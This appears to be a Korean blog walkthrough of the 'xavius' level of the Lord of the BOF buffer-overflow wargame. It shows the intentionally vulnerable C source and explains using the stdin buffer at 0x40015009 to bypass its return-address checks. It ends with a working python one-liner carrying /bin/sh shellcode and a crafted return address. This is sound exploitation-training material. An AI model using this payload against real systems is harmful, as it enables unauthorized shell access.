xavius, xavius.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
The Lord of the BOF : The Fellowship of the BOF | |
- xavius | |
- arg | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <dumpcode.h> | |
main() | |
{ | |
char buffer[40]; | |
char *ret_addr; | |
// overflow! | |
fgets(buffer, 256, stdin); | |
printf("%s\n", buffer); | |
if(*(buffer+47) == '\xbf') | |
{ | |
printf("stack retbayed you!\n"); | |
exit(0); | |
} | |
if(*(buffer+47) == '\x08') | |
{ | |
printf("binary image retbayed you, too!!\n"); | |
exit(0); | |
} | |
// check if the ret_addr is library function or not | |
memcpy(&ret_addr, buffer+44, 4); | |
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function | |
{ | |
if(*ret_addr == '\xc9'){ // leave | |
if(*(ret_addr+1) == '\xc3'){ // ret | |
printf("You cannot use library function!\n"); | |
exit(0); | |
} | |
} | |
ret_addr++; | |
} | |
// stack destroyer | |
memset(buffer, 0, 44); | |
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); | |
// LD_* eraser | |
// 40 : extra space for memset function | |
memset(buffer-3000, 0, 3000-40); | |
} |
코드를 보면 대부분의 주소를 사용할 수 없게 만들어 놓았다. 우리가 지금까지 사용하던 메모리는 사용을 할 수가 없다. 하지만 0x40으로 시작하는 주소를 막아 놓지 않았다. 임의의 입력값을 넣은 후 이 부분의 메모리에서 임의의 입력값을 찾아보자.
xavius.c의 코드에 코드가 다 실행되고 메모리를 검사하는 코드를 넣었다. ret이전에 메모리에 올라간 부분을 다 스캔할 수 있다.
AAAA를 적당히 넣고 코드를 실행해보면
0x40015009에 임의의 입력값인 AAAA가 들어있음을 알 수 있다. 임의의 입력값이 전부 제대로 들어간다면 쉘코드를 넣고 RET를 조작하여 쉘을 얻게 할 수 있다.
0x40015009의 주소를 gdb로 확인해보자.
임의의 입력값이 들어가있다. xavius.c가 호출하는 어떤 함수의 버퍼라고 유추할 수 있겠다.
이제 여기에 쉘코드를 넣고 RET를 이 영역으로 덮어 씌우면 공격에 성공할 수 있다.
페이로드는
[놉+쉘코드][RET]
로 구성하여 공격을 해보면
쉘을 얻을 수 있다.
쉘코드 :
(python -c 'print "\x90"*20 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x09\x50\x01\x40"';cat)|./xavius
0 개의 댓글:
댓글 쓰기